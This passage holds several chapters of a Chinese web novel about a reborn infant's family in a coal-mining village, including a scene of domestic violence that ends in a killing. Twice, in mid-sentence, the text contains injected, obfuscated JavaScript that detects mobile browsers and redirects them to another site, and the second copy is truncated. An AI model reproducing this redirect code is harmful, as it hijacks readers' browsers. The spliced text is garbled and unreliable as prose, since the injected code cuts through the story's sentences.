“陆平呢?”刘森问,“是上白班吗?” “上的夜班,倒班休息,我让他上街去买猪肉去了。 * “哎哟!我们家平秀!” 平秀? 陆易宁被长声长气的老人音吵醒,睁开眼,就看见小舅舅跟逗狗狗一样朝她嘟嘴巴。 “她叫陆七七。”陆易安纠正道。 “我不管,你外公取的名字叫平秀。”刘林故意逗陆易安,“她就叫平秀,你叫仙秀。” 陆易安一本正经地解释,“才不是,我叫陆安安。” “不对,是仙秀!”刘林还在逗,“仙秀,仙秀,仙秀!” “啊!!!坏舅舅!”陆易安气得跺脚,去拉扯刘林的胳膊,“我不准你看我妹妹!你走开!” 刘林的手牢牢拉住婴儿床,陆易安的力气比不过他,气得哇哇哭,“你放开!” 刘秀珍在外面听到女儿撒泼的声音,立马出声呵止,“陆安安,你再给老子闹,你信不信老子拿棒棒来!” 陆易安瘪着嘴,“舅舅烦死了!” “你再闹!”刘秀珍开始倒数,“三!二!” 一还没数出来,陆易安就噘着嘴跑出去了。 刘林看陆易安出去了,趁四周没人,小心翼翼从兜里拿出一个纸包,放在陆易宁小床旁边的大床枕头底下。 陆易宁看着他将枕头上的帕子理整齐。 那个纸包里有六百块。 小舅舅今年才在镇上开了店,欠债不说,外公生病也要钱,他知道当面拿给母亲,母亲不会要,这才将钱藏在枕头底下。 惹哭了陆易安,接下来刘林无论怎么逗她开心她都不理他。 没办法,只好带她去街上,用玩具来收买她。 刘林带着陆易安出门去买玩具,刘森来里屋看陆易宁。 “七七,我是大舅舅啊!”刘森将陆易宁抱起来,“我们七七真乖,还会笑呢。” 刘秀珍说:“除了饿的时候叫两声,别的时候都不哭的。” “七七真厉害!”刘森做着鬼脸逗陆易宁,陆易宁配合着笑张开嘴。 “哇!”刘森继续逗。 刘秀珍问:“爸最近怎么样?” “爸好多了,今天一早就催着我们来,一直叮嘱妈给你炸你喜欢的鸡蛋粑粑,豆腐丸子让我们给你带过来。” “我大嫂呢?” “你大嫂也是。昨天还和刘志宏他们去土里摘桃子。是你喜欢吃的毛桃,都在包里,洗干净就能吃。” 面对家人,一向是报喜不报忧。 陆易宁记得,大舅妈得的病是肺癌,每个月都要去医院。 母亲昨天还和父亲商 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“你骗人!”陆易安握紧拳头瞪着他,上一秒气势汹汹,下一秒就自爆,“你敢当告嘴婆,我就喊我佳佳姐打你。我佳佳姐长得比你还高,一拳就能打趴你!” 陆易宁心里算了一下刘佳目前的年龄,六岁,快要读学前班了,现在是打不赢别人,等过个十几年,大嗓门倒是能把人震趴下。 “那你告啊,我不怕!”徐锦从兜里摸出两颗大白兔奶糖,“行了,不逗你了,说谢谢,糖给你吃。” 陆易安脸变得极快,“谢谢徐锦哥哥!” 刚吃了鸡腿,鸡腿还没吃一半,得到两枚大白兔奶糖,又开始吃糖。 陆易宁咬着牙龈看陆易安用油得要命的手去剥糖吃,剥完又来摸自己的脸,那油腻的触感差点让她崩溃。 吃得这么杂,活该你妈揍你一顿还限制你每个月的零食量。 * 开饭时,陆易安坐在饭桌上,嚷着要刘秀珍给她夹各种菜。 别的都要,就不吃白菜。 结果吃到一半肚子难受吃不完,剩下半碗,只好端着自己的小碗跑回家,偷偷躲在里屋,不敢出去。 下午吃完饭,女人们帮忙把桌子收好,碗筷洗干净。 陆易宁的头扭到右边。 因为现在外面的大人多,被刘秀珍看见她剩下的饭太多,肯定要挨骂,陆易安只好悄悄把她的小碗藏在床底下。 陆易宁扬起嘴角笑了一声。 又是明天挨打的一个理由。 “七七,我肚皮里感觉有东西在吹气,好痛啊!”听见妹妹的笑声,陆易安藏好碗筷站起来,小手放在陆易宁的木床上,脸红红的,还出冷汗。 “你吃那么杂,明显是积食了。” 陆易宁抬起手,陆易安握上去,好像在寻安慰一般。 刘森和刘秀珍走进来,陆易安见妈妈来了,出于害怕的本能,又偷偷溜到门口。 “七七,舅舅走了,过年的时候见啊!”刘森对着陆易宁摇摆脑袋。 刘秀珍挽留道:“在这歇一晚啊哥,难得来一次,还这么急着回去?” “不歇了,家里活多,你们也忙。”刘森继续朝着外甥做鬼脸。 刘秀珍在一旁看了一会儿,从口袋里拿出一个用卫生纸裹住的东西,塞到刘森的裤子口袋里。 刘森察觉到,回过头,立马将钱还回去,“你这是做哪样?” “嫂生病要用钱,爸也要用钱,我们这里的日子过得松,用不着太多,这些钱你先收着。” 陆易宁看了几分钟的送钱收钱的推拿之术,正在双方僵持不下之际,陆易安的一声呕吐声,将正在打太极的两兄妹引了过去。 刘秀珍眼疾手快地将钱塞进刘森的口袋里,立马跑出去。 多亏陆易安的一声“yue”,刘秀珍成功送出自己的心意。 陆平蹲着给陆易安拍背,陆易安中途停下来,哭得可怜兮兮的,“爸爸,我难受。” “没事的,吐完就好了。”陆平着急地给女儿顺气,看着女儿的呕吐物,他心里也跟着慌。 赵倩端着水蹲在一旁,撇开头,“安安,你今天吃什么了?怎么味道这么串?” 刘森和刘林忙着去坐车,陆易安吐得泪眼朦胧,说拜拜的时候身体都是一抽一抽的。 事后,刘秀珍清理她吐出来的东西,一个打扫流程下来,判断出她吃了不下十种东西。 不是,她哪来的钱吃这么多零食? 9. 第九章 忙活了一整天,剩下了不少鸡肉。 刘秀珍是个热心肠,几乎给周围的每一家都端去了一碗。中午吃饭的时候,她留意到王水生和王水珠两兄妹特别喜欢吃鸡肉,便特意给张桂花一家端了半锅过去。 正好要去还王家的铁锅,刘秀珍就直接用那口锅盛了鸡肉,还往里面舀了好多红油汤,想着张桂花一家肯定能吃得开心。 傍晚七点,晚霞还在天边肆意铺展,不舍得隐去身影,而另一边,一轮弯弯的月亮已经悄悄挂了起来。 陆易安睡了一大觉,肚子舒服多了,慢悠悠地下床,走出里屋,就瞧见外屋的陆平和刘秀珍正在吃饭,收拾着今天中午剩下的饭菜。 “你们吃饭都不喊我!”陆易安气鼓鼓地冲到餐桌边,双手抱在胸前,嘴巴撅得都能挂个油瓶了。 陆平看着女儿这副可爱又好笑的样子,忍不住笑出了声。 刘秀珍心里其实有一肚子的问题,想要好好质问陆易安,可一想到她中午吐得昏天黑地、可怜巴巴的模样,那些话又被她硬生生地压了回去。 “那你去拿碗。”刘秀珍轻声说道。 陆易安走到碗柜旁边,眼睛一扫,发现放自己不锈钢碗的地方空空如也,早把碗被自己藏在床底下这事儿忘得一干二净。 她兴致一下子就没了,蔫蔫地折返回去,反正也不饿,干脆不吃了。 陆平关心地问:“怎么了?我的大宝贝?” “我不饿,不吃了。唉~”陆易安长叹一口气,迈着小步子走出了房门。 刘秀珍看着女儿的背影,忍俊不禁,视线一直跟着她,“老安安,你去哪?” “睡得久了,出去散散步,唉~”陆易安拖着长长的尾音回答。 郑松出门倒洗脚水,正好碰见陆易安背着手慢步走着,头发乱蓬蓬的,一看就知道是刚睡醒,便笑着问,“做什么去啊,安安?” 陆易安抬起头,望着天上的月亮和那渐渐褪去颜色的天空,好一会儿才慢慢地垂下头,“散步啊!唉~” 屋内的陆平和刘秀珍听到门口女儿那一声又一声的叹气,被逗得哈哈大笑。 刘秀珍学陆易安的语气,有模有样地说,“还唉~她去哪学的,跟个七老八十的老人似的。” 郑松回到家,赵倩听见他与陆易安的对话,也跟着笑了起来,“陆安安遇到什么烦心事了?小小年纪,唉声叹气的。” 与此同时,张桂花这边正忙活着。洗好了白菜,切好了土豆,炉子上的红汤咕噜咕噜地翻滚着,散发着诱人的香气。她把土豆和白菜一股脑儿放进锅里。 七八分钟后,张桂花夹起一块土豆放进嘴里,试了试,土豆已经熟了。 张桂花在桌上垫了一张纸,小心翼翼地抬着铁锅,放在纸上,“幺妹去拿筷子,哥哥去拿碗盛饭。” 王水生和王水珠两兄妹动作十分迅速,眨眼间就把碗筷摆好。 “妈妈,土豆好好吃啊。”王水珠被烫得龇牙咧嘴,嘴里还不停地夸赞着,今天对她来说,简直是吃得最好的一天,没想到晚上还有肉吃,而且跟中午的一样美味。 “好吃多吃点。”张桂花满脸慈爱,夹了一块鸡肉放进儿子的碗里,又夹了一块给女儿。 * 王铁军被关了七天,出来的时候,一个民警还特地警告他回家不准打女人。 王铁军越想越窝火,出了派出所的第一件事,就是找地方喝酒。 那个臭婆娘,自己都被抓了,她不去找自己也就算了,竟然还敢上派出所告自己家暴!真是反了天了,活够了! 此时的王铁军,酒喝得正上头。虽然还没到烂醉如泥的地步,但借着酒劲,是天不怕地不怕。 “死婆娘!两个短命的崽子!我日你仙人的,老子今天非让你死不可!”王铁军一边在心里骂骂咧咧,一边晃晃悠悠地走到家门口。 刚到门口,一阵鸡肉的香味扑鼻而来,葱香混合着姜蒜味,钻进他的鼻子里。王铁军一个箭步就冲进了家。 正在饭桌边上吃饭的张桂花、王水生和王水珠三人,同时惊恐地看向他。 王水珠被吓得手一抖,“哐当”一声,手里的碗掉落在地上,摔得粉碎。 碗碎掉的声音,瞬间打破了恐惧前的沉默。 王铁军恶狠狠地啐了一口痰,“呸”的一声,吐在了张桂花的头上,“老子被警察抓去关着,你不去找老子,反而倒打一耙去告老子,现在居然还有脸去买肉来烫合菜吃?” 王水生强忍着内心的恐惧,鼓起勇气说道,“这是秀珍阿姨端来的。” “老子让你讲话了吗?啊??”王铁军垂着眼皮,斜睨了王水生一眼,那眼神仿佛能吃人。 “这就是人家端来的!”张桂花也出声解释。 可她的话音还没落,“啪”的一声脆响,王铁军就猛地将门锁上,一个耳光狠狠地砸在了她的脸上。 “妈妈。”王水珠见状,“哇”的一声哭了出来。 王铁军更来气了,像是被点燃的火药桶,抬起脚就将张桂花踢倒在地,嘴里还不停地叫嚷着,“敢跟警察告老子,老子让球你告!老子让球你告!” “我没告!”张桂花双手紧紧捂住头。 王铁军的拳头如雨点般密密麻麻地砸在她身上,王水珠和王水生心疼妈妈,赶紧跑过去拉王铁军,结果一人替妈妈挨了一脚。 王水珠被踢得撞倒了木凳,王水生则被踢得撞在了门上。 张桂花听到孩子痛苦的呻吟声,两只手掌使出全身力气,牢牢抵住王铁军的拳头,悲愤地质问,“你凭什么打他们啊?” “他们是老子生的,老子让他们死都可以,晓得不?”王铁军眼睛瞪得滚圆,手上的力气又加大了几分,“倒是你!你凭什么要告老子!臭婆娘,你妈卖批的,老子不在家,你还好意思吃肉?” 王铁军说着,又用力踢了张桂花的肚子两脚, 然后像发了疯似的站起来,端起刚下炉子没多久的铁锅,朝着墙角狠狠地砸了过去。 张桂花吃痛,紧紧捂住肚子,还没来得及挪动身子,那口油锅就朝着她砸了过来。 “啊!!!”张桂花惊恐地尖叫起来。 一锅鸡肉油汤,就这么从头开始淋了下来,张桂花吓得紧闭双眼。铁锅倒是没砸到她的头,而是重重地砸在了肩膀上。 这时,家门口已经围上来三四个人。 “王铁军,开门!你再打,我们就报警了!”邻居们用力敲门,大声警告他。 “老子怕个求的警察,不是吹牛逼,老子今天刚从里面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438367|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来!”王铁军嚣张至极,哪怕门被几个人使劲撞,他也丝毫不怕,在他眼里,该打的女人,就必须得打。 陆易安正慢悠悠地走在路上,距离王家三四百米的时候,几声高亢的哭声传了过来,凄惨的声音一下子揪住了她的心,促使她不得不加快脚步。 等她赶到时,王家门口已经围着五六个人。 陆易安远远地看见这阵仗,心里一紧,赶忙加快步子,朝着王家跑去。 距离几十米的时候,隔着人群,她好像看到了王水珠和王水生被两个大人带回家,而王家的地上流淌着红汤,远远看去,竟像是血,触目惊心。 “水生哥哥,水珠姐姐!” 陆易安的呼喊并没有得到回应。 陆易安心急如焚,跑得更快了,一下子冲到门边,隔着大人们留出的间隙,似乎看见王铁军那个老酒鬼躺在地上。 “让一让!”陆易安一边喊着,一边探头探脑地往里钻。 站在门口的女人原本还处于震惊之中,被陆易安的脑袋挤了一下,一回头,就看见小丫头拼了命地往里面挤。 这不是陆家的大女儿嘛,煤矿上出了名的“大喇叭”! 女人反应过来,二话不说,一把抱起陆易安,转身就往回跑。 “你让我看看呀!”陆易安着急地大喊,可随着女人的脚步,她距离王家越来越远。 “有什么好看的。”女人说着,几乎是以快走的速度,朝着陆家赶去。 “桂花阿姨是不是又被打了?”陆易安一路上喋喋不休,“你放开我呀,我得去喊人帮忙啊!” 女人没有理会她,又跑了起来,“今天的忙不用你帮。” 刘秀珍刚收好碗筷,正准备歇会儿,下一秒,女儿就被住在路口的大姐抱了回来。 “妈妈!”陆易安一看到刘秀珍,就委屈地叫了起来,“她不让我去喊人!” 刘秀珍皱了皱眉头,说道:“陆安安,你又给老子惹事。” “她没有惹事。”女人将陆易安放下,陆平听到动静,从里屋走了出来。 女人神色匆匆,陆平一眼就知道肯定出大事了。 陆平赶紧将陆易安扯到自己身边,关切地问,“姐,出什么事了?” “你还是先管好你家陆安安吧。”女人盯着陆易安看了一会儿,欲言又止。 “我不管,我要去喊人!”陆易安气冲冲地说,小脸憋得通红。 陆平察觉到事情不对劲,动作迅速地将陆易安抱到里屋,严肃地警告她不要说话,出来时顺便把门扣上了。 女人这才压低声音,神色凝重地说:“王家出大事了。” 刘秀珍看向陆平,心里有种不好的预感,试探着问,“王铁军回来了?桂花姐又被?” 女人点了点头,脸上满是慌张的神色,“不过这次,王铁军好像死了。” 陆平瞪大了眼睛,满脸的难以置信,“死了?” “他把一锅鸡肉全部倒在他婆娘头上,他婆娘被吓得只能用菜刀防身,眼睛被辣得睁不开,只能拿着刀到处乱砍,几下就砍在他脖子上,人当场就没了。”女人一口气说完,声音都有些颤抖。 “啊??”刘秀珍和陆平同时惊得瞪大了眼睛,被这个突如其来的消息,吓得一大跳。 10. 第十章 夜幕降临,村子里闹腾了一阵子。虽然大多数人都觉得王铁军死有余辜,想帮张桂花隐瞒,但警察终究还是来了。 张桂花被带走前,匆匆来到陈菊萍家,掏出身上仅有的两百多块钱,恳求陈菊萍帮忙照顾她的一双儿女几天。 隔壁,张桂花跪在地上,泪如雨下,苦苦哀求。陈菊萍夫妇连忙拉她起来,自己也跟着抹泪。 哭声透过墙壁传来,陆易安的耳朵紧贴着墙,仿佛要听出些什么。 “桂花阿姨是要去哪吗?”陆易安自言自语道,“那水生哥哥和水珠姐姐也要跟着她走吗?” 陆易宁也被吵醒了,她现在的日子实在是难熬。吃得单调,看的景象也单调,每天只能通过家门口的动静来判断出了什么大事。 唯一的乐趣就是看陆易安怎么搞坏事,然后被老妈打。可偏偏因为她的出现,这丫头这段时间消停了不少,硬是没被打过一次。 其实王家出了这事,倒也不全是坏事。 张桂花被警察抓走,但念在她有一双儿女,不能没人照顾,或许是法外开恩,又或许是公职人员执法有温度,只被拘留了半个月就被放回来了。 而王铁军,被一张破草席裹着,草草地入了土。 这个结果只有陆易宁知道,偏偏她现在还不能说话。 村里的人们纷纷向警察求情,列出王铁军做的一系列混账事,希望警察从轻处理。 张桂花还是被带走了。 出了这么大的事,大人们聚在一起,聊了半个小时就散了。 各回各家。 陆易安被锁在里屋,直到陆平开门,想看看两个女儿睡着了没有,小丫头才找着机会溜出来。 “妈妈,桂花阿姨是要去哪吗?” 刘秀珍走进屋,还没坐下,女儿就窜出来问。 “你还没睡觉啊?”刘秀珍打心底服了女儿的八卦劲。 真是有其母必有其女。 陆易安着急地问:“妈妈,桂花阿姨要带水生哥哥和水珠姐姐去哪啊?” “不回,你桂花阿姨有点事,水珠姐姐和水生哥哥在菊萍嬢嬢家里。” 小伙伴就住在隔壁,陆易安的眼睛一下子就亮了。 撒开脚丫子正要跑出门,幸亏陆平反应快,一把揪住她,“现在不要去,大晚上的,人家要睡觉了。” “妈妈,那我明天晚上能去菊萍嬢嬢家,找花梅姐姐、水珠姐姐、水生哥哥一块睡觉吗?” “你敢!你花梅姐姐要上学,别去打扰人家。” 陆易安被放下来,“那叫水生哥哥和水珠姐姐来我们家睡觉?” 刘秀珍将她的辫子解开,用梳子梳散,“好啊,那你去睡床底下,给哥哥姐姐腾地方。实在不行,去鸡笼跟鸡睡。” * 第二天一早,陆易安就跑到隔壁去找王水生和王水珠。 经历了这种事,两个小孩虽然不怎么懂,但父亲由癫狂变成死寂的场景他们历历在目。 不懂得死亡,但懂得害怕。 早上吃面时,无论陆易安怎么说怎么笑,除了王水珠陪着她笑以外,王水生一直沉默不语。 陈菊萍见状,摸了摸王水生的头,又拿了三块钱给陆易安,“安安,哥哥姐姐不舒服,待会吃完面条,你带他们去安奶奶家买点糖吃好不好?” “好的,嬢嬢。”陆易安收了钱,见王水生不吃面,顺带把他的面条吃了半碗。 刘秀珍去喊陆易安回家吃早饭时,她的嘴巴边上全是油汤印子。 一早上,在陆易安和其他小伙伴的陪伴下,从村头玩到村尾,该吃的吃,该喝的喝,王水生总算开始笑了。 但陆易安却该哭了。 中午,女人们又凑在一块说昨晚的事。 刘秀珍摆好木凳,放上竹筛,开始给村里的女人做衬衫。 上周上街时,陆平给她买了一个熨斗用来熨衣服。一下子,成品的质量提了上去,又接了几个做上衣的单子。 女人们在太阳底下一边聊,一边唏嘘。 陆易宁的床停放在门边,听了很多八卦。 女人们将自己知道的各种类似的案例说了出来。 有丈夫因为妻子生不出儿子,听老爹老妈的话打死妻子的,有女人伙同情夫谋杀亲夫的,还有禽兽公公虐杀儿媳的…… 内容五花八门。 待人群散去,一个一脸络腮胡的男人登上了家门。 陆易宁看着他,心想陆易安这两天的日子不好过了。 男人是卖小笼包的,今天是来讨债的。 一个多月来,陆易安在他家已经赊了八屉小笼包,七个肉包子,三个糖包,两个豆沙包。 他特意凑个整,才在今天登门。 合计二十一。 陆易宁看母亲和和气气地陪着笑,将陆易安的“工程款”补齐,待男人走后,脸瞬间黑得赛李逵。 “陆易安!” 刘秀珍在家里骂了很久,把陆易安的罪孽数得清清楚楚,这死孩子平日里骗别人的零食吃已经够了,什么时候学会赊东西了?而且,昨天居然敢说脏话骂她舅舅! 真是三天不打,上房揭瓦! 想到昨天她吃了那么多零食,积食,刘秀珍已经猜到了这死丫头去赊账的店铺不止一家。 刘秀珍越想越气,关上门去拿门后的烧火棍,烧火棍已经不见踪影。 “赵倩,帮我看一下我家陆七七。”刘秀珍在门口扫了一圈,没找到趁手的工具。 赵倩走出屋,见刘秀珍嘴里念念叨叨的,还以为出什么事儿了,“你去哪啊?” “去找我家陆安安。” 刘秀珍干脆进屋,拿上了高粱杆做的扫把。 一路找过去,走到杂货铺问了陈文才,陈文才说半个小时前才看见陆易安跟别的孩子在路口水管那里用手接水喝。 而且,在杂货铺,她又打听到了一件事。 陆易安在杂货铺,居然也能赊账。 刘秀珍气得要命,干脆拐了一个弯,往路口左边走,去安老太的零食铺。 安老太太看刘秀珍风风火火地来,还以为出什么事了。 “姨,我家陆安安是不是在你这赊过账。”刘秀珍是带着钱来的,“你说,我来付。” “没有。”安老太太压根不知道陆平和她的约定刘秀珍不知道,随随便便就抖出来,“是他爸爸说,她可以在我这拿零食吃,一个月记付一次账。” 刘秀珍啊了一声,居然还有陆老三的事? 安老太太还安慰道,“她爸爸每个月都来我这结账的,你也不用太担心她吃白食。” 想到陆平这个月的工资还没发,刘秀珍干脆掏出钱来,“姨,你说一下她这个月吃了多少,我今天一块结了。” 安老太太虽然见情况不对,但刘秀珍都说了,她也不好说什么。 “一共五十块。” 安老太太拿出账本,特意抹了一块二毛钱的零头。 刘秀珍明显低估了女儿的消费能力,她一共就带了三十多块出门。 没办法,又只好回家去拿钱。 此时的陆易安刚跟着王水生王水珠两兄妹从村尾的小伙伴家里玩回来,路过陈记杂货铺时,陈文才嫌事不够大,看见陆易安就通风报信,“安安,你快回家去,你妈妈刚才提着扫帚到处找你!” 陆易安一听,大事不好! 这时候回家干嘛,上赶着被揍吗? 家是不能回了! 陆易安哭兮兮地向王水生求助,“水生哥哥,我妈妈又要打我了,怎么办?” “那先去我家躲一会儿?”王水生提议道。 三个小时过去,刘秀珍到处找也没找到陆易安。 刚开始气得要命,要把她揪出来狠狠地打一顿。 但已经找了几个小时了,都没看见女儿。 刘秀珍心里开始慌了。 女儿喜欢到处玩,因为煤矿村里的人都认识她,以前只要想找她,随便问一个路人都知道去处。 久而久之,她就心大了。 放养式养娃,要是娃丢了,她该怎么办啊? 万一人贩子跑到煤矿上,女儿是最容易被拐走的那一类。 刘秀珍走到街上问了一路,找了一路都没找到女儿的身影,无奈回村子里,又找了两三遍,都没看见女儿。 回到家时,陈菊萍也跟着慌了。因为一块不见的,还有王家两兄妹。 他们的妈妈昨天刚把他们托付到自己手里,这才第一天,就没了影,自己怎么对得起人家啊! 煤矿村里传得最快的就是消息。 一时之间,三个小孩失踪了的消息不胫而走。 闲在家的大人们走出门,到处找小孩。 刘秀珍和陈菊萍一边哭一边喊。 陆易安藏在王家的床底下,听着母亲的哭喊声,没想着出去。 她知道,自己一出去一定会被打。 王水珠小声说:“陆安安,你妈妈都哭了,要不我们出去吧?” “不要!” 她一出去,该换她哭了。 陆易安趴在地上,纠结半天,才向两位小伙伴吐露自己的身世,“水生哥哥,水珠姐姐,其实我是捡来的。要打我的那个不是我的妈妈?” 三人中属王水生懂得多,“不是你的亲妈?那你妈是谁?” 陆易安:“我是我现在的这个妈妈从菜地里捡来的。我妈妈其实是大白菜,她在菜地里,但是哪个白菜我就不知道了。” 王水生算是明白了,怪不得昨天中午一起吃饭时,她一点白菜都不吃。 “白菜的女儿只能是白菜,你是人,你妈妈怎么可能是白菜呢?”王水生说:“肯定是别人骗你的。” 王水珠:“对啊,我妈妈说小孩的妈妈也是人,这样才能生出小孩。” “才不是!”陆易安坚定不移地相信自己就是白菜之女,“二孃孃都说了,我问过她很多次,她和我妈妈都是这样讲的。不信,待会我们一起去菜地里看。” 王水珠问:“那你知道哪里的菜地吗?” “我就是不知道。”陆易安下定了决心,今天一定要把妈妈找到,“我们去问安奶奶,安奶奶肯定知道。” 眼看工人们就要下班了,刘秀珍还是没能把孩子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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挨打途中,刘秀珍逼问出了烧火棍的去处。 因为陆易安昨天剩了半碗饭,怕被妈妈用烧火棍吓唬,情急之下悄悄将烧火棍扔到郑家的储水桶里。 赵倩闻声,连忙进屋揭开水桶盖,里面竖着一根铁棍。 白白脏了一桶水。 罪上加罪。 陆易安的哭声压过郑煦的哭声,陆易宁被吵得头疼,这场大戏她等了一个月,真等到了,受罪的还是自己。 实在是太吵啦! 陆平下班,还没到家门口就听见女儿的哭声,陆易安隔远看见他,捂着屁股往他的方向跑,一边跑一边哭诉,“爸爸,你婆娘打我!” “好端端的,你打她做什么?”陆平将陆易安藏在身后。 “她到处赊账!你说我打她做什么?”刘秀珍其实没下多大力,也没打几下,但是陆易安哭得太大声了,不知道的还以为她用了死力气。 陆平心里一紧,哦豁! 刘秀珍又说:“她在杂货铺,包子铺,甚至连粉馆都赊了账!” 陆易安的嘴巴张得大大的,“粉馆是老板请我吃的。” “你再讲!”刘秀珍的棍子刚放下去没几分钟,又开始到处找,“老子的棒棒放哪里去了?” 陆平只给陆易安开了零食铺赊账的权利,他哪知道小家伙私自把这个权限扩大到别家去。 陆平神色严肃,“陆安安!谁教你乱去别人家赊东西吃的?” 陆易安哪顾得上回他,刘秀珍已经提着烧火棍过来了。 几乎所有人家都出来看戏。 一个月没见陆家打小孩,今天一打就打顿大的。 实属不易呀! “她连杂货铺的钱都能赊!”刘秀珍走过来,陆易安吓得绕着陆平的腿跑。 陆平一脸讶异,“你在你秀芬伯娘家赊什么了?” “她赊电话打!”刘秀珍双手叉腰,“一个月打了十几个。” 陆平咬住嘴唇,要不是妻子凶成这副模样,非得哇喔一声。 女儿居然还会打电话。 “陆安安,你给谁打电话了?”陆平将刘秀珍的棍子夺过来。 陆易安见危险已去,才减小了哭声,“我打去给佳佳姐,打去给外公,我想外公了!” 一拳头打在棉花上,听见女儿说想外公,刘秀珍顿时哑口无言。 三人同时回家,陆易安被刘秀珍逼着去洗脸,陆平因为偷偷让陆易安赊账,免不了被刘秀珍骂了一顿。 好在今天发了工资,刘秀珍数了数,看在钱的面上,火气才慢慢变小。 陆平提着热水到里屋洗澡,陆易安被刘秀珍抱在身前,开始温柔警告。 “以后还敢不敢乱去别人家赊东西了?” 陆易安擦掉眼泪,“不敢了。” “要是再赊,该怎么办?” “吃面条。”陆易安瘪着小嘴哭。 “还敢说脏话骂人不?” “不敢了。” “要是再说呢?” 陆易安哭得一抽一抽的,“打嘴巴。” “不哭了。”刘秀珍替女儿擦掉眼泪,“今天还没做饭,等爸爸洗完澡,我们去街上吃。” 第二天,刘秀珍亲自去零食铺,和安老太太说好陆易安赊零食的事。 她以后还是能来店里赊零食,不过不能超过三十块。 11. 第十一章 半个月后,跟陆易宁脑海中的记忆线路一致,因为有村民作证,外加派出所的民警曾经在街上阻止过王铁军打张桂花,念在她还有一双儿女的情况下,张桂花被放回来了。 她带着两个孩子离开的那一天,村里和她玩得比较好的女人们凑了一点钱,张桂花再三道谢后,拿着丈夫最后一个月的工资和人们凑的钱,离开了煤矿村。 陆易宁长大后听母亲说起过,桂花阿姨后来去广东打工,没几年就再嫁了。对方是个离异的男人,带有一个女儿,在工地开餐馆。没多久,她的一双儿女也被接到广东,在广东上学。 日子过得很平常,相较于现在,算是很温馨了。 没有了最好的朋友,外加刘秀珍新加的禁令,陆易安的活动圈子从整个村子缩减到家附近一百米以内,再远一点只能去到安老太太的零食铺和陈家的杂货铺。 陆易安最喜欢去的小笼包店已经超范围了。 家附近的孩子都比较大,暑假一过,大部分去上学了,陆易安只能每天守着两个不会说话的孩子玩。 陆易安郁闷到了极点,现在零食不能分着吃,都不好吃了。 “七七,阳阳,你们什么时候才能走路呢?” 小丫头坐在小板凳上,撑着下巴守着床上的两个小孩自言自语。 此时的郑煦睡得正熟,陆易宁抬起手,努力去抓陆易安,想在她无聊的时候逗她玩。 “还要等很久。” 刘秀珍洗完头,坐在门口的火炉边烤头发。碎发掉在红煤上,滋滋滋一阵响后,飘出一股糊味。 “很久是多久?”陆易安扭头看向门外。 “等你长成大个子了,妹妹就会走了。” 陆易安天真地说:“我已经长得很高了!我现在是大安安了!” 刘秀珍理了理头发,被女儿的话逗得笑呵呵的,“是哦,你现在是大安安了。不过要等你长到这,”刘秀珍用手指比着门栓上方,陆平专门为陆易安安装的小门把手,“等你差不多长到这,妹妹就能走路了。” 陆易安跑到门框旁边,用力垫起脚,头抵着门把手,“我现在长高了。” 刘秀珍逗她,“你耍赖。” “我没赖!”陆易安坚持说:“我已经长高了。” “是,安安长高了。”赵倩出门回来,看见陆易安在量身高,“以后长得跟阿姨一样高。” 陆易宁:绝无此种可能。 陆易安以后穿十几厘米的高跟鞋也不见得会有一米七。 “我要比阿姨还高。”陆易安说。 等赵倩回屋喝完水,刘秀珍才问她:“怎么样了?捡得了吗?” “晚了一步。”赵倩擦掉嘴角的水,抿嘴摇头。 “我刚到,就被街口开开药房的那家捡走了。” “哎哟,去晚了,确实可惜。” 刘秀珍回忆起今天在街上遇见那个女婴时的情景。几个月大的小女孩被一个老男人背在背上,眼睛又黑又大,一路上笑得别提有多可爱。 她的爷爷举着的纸牌上写着她的价码,价格很低,三百块。 当时在街上没有人敢上去问,最后女婴的去处只能是街口的一块大石头上。 陆易宁知道那块石头,刘秀珍背着她去街上的时候看见过。 那块石头很大,是一个路标,上面写着小镇的名字。顶部还算平整,陆易安曾经还躺在上面等陆平。 除了陆易安,这块石头上这段时间至少躺过五个孩子。 可悲的是,她们是弃婴,全是不被给予希望的女孩。 有的孩子用盆装着,有的仅仅是裹着一身大人穿的衣服,就被放在石头上等人来领。 刘秀珍和赵倩有两次上街回来,石头上都放着一个孩子。 赵倩和刘秀珍几次想去捡,但是碍于路过的时候,旁边有人经过,不好意思,等折返回去时,孩子已经被人捡走了。 今天上街看到那个被叫卖的女婴,两人跟了卖小孩的老头子半天。孩子并没有卖出去。两人就猜到街口的那块石头将是那个女孩的最终归宿。 赵倩本想着先回家,等上街赶集的人少了,她再去守。没想到,晚了一步。 刘秀珍说:“我看街口卖药的那家,房子挺大的,还是大平层,那个孩子在他家,日子应该比较好过。” “不过我心里还是觉得舍不得啊,姐。”赵倩叹了叹气,眼底已经开始闪出泪花,“不知道是不是当了妈的缘故,我今天在街上看见那孩子,特别是她冲着我笑的时候,我心里就难受。多漂亮的小孩啊,你说她爸妈怎么就那么舍得呢?” “是啊,怎么舍得呢?”刘秀珍温柔地看着守弟弟妹妹睡觉的陆易安。 当初生她的时候,她的爷爷奶奶也是想将她两百块钱卖给一户生了两个儿子,想要女儿的人家。 刘秀珍想不通,她和陆平视如命的宝贝,怎么会那么便宜? 陆易宁拉着陆易安的手,母亲现在看她的眼神,是不是也是想到她曾经经历过的事呢。 赵倩终究是放不下心,接连几天,去街上时都要去药房门口看几眼。 直到她看见小女孩睡在女主人买的婴儿床里,盖着粉红色的小猪被子,甜甜地睡在药房的收银台旁边。待她醒后,她的爸爸会做鬼脸逗她,她的妈妈会给她冲市面上最贵的奶粉,然后唱歌给她听。 赵倩终于释怀了。 而街口的石头上,隔三差五就会出现它临时的小主人。 赵倩的运气不好,每次去都扑了空。 * 在陆易安的悉心教导下,半岁的陆易宁终于叫出了这辈子的第一个词。 不是妈妈,不是爸爸,不是姐姐,是外公。 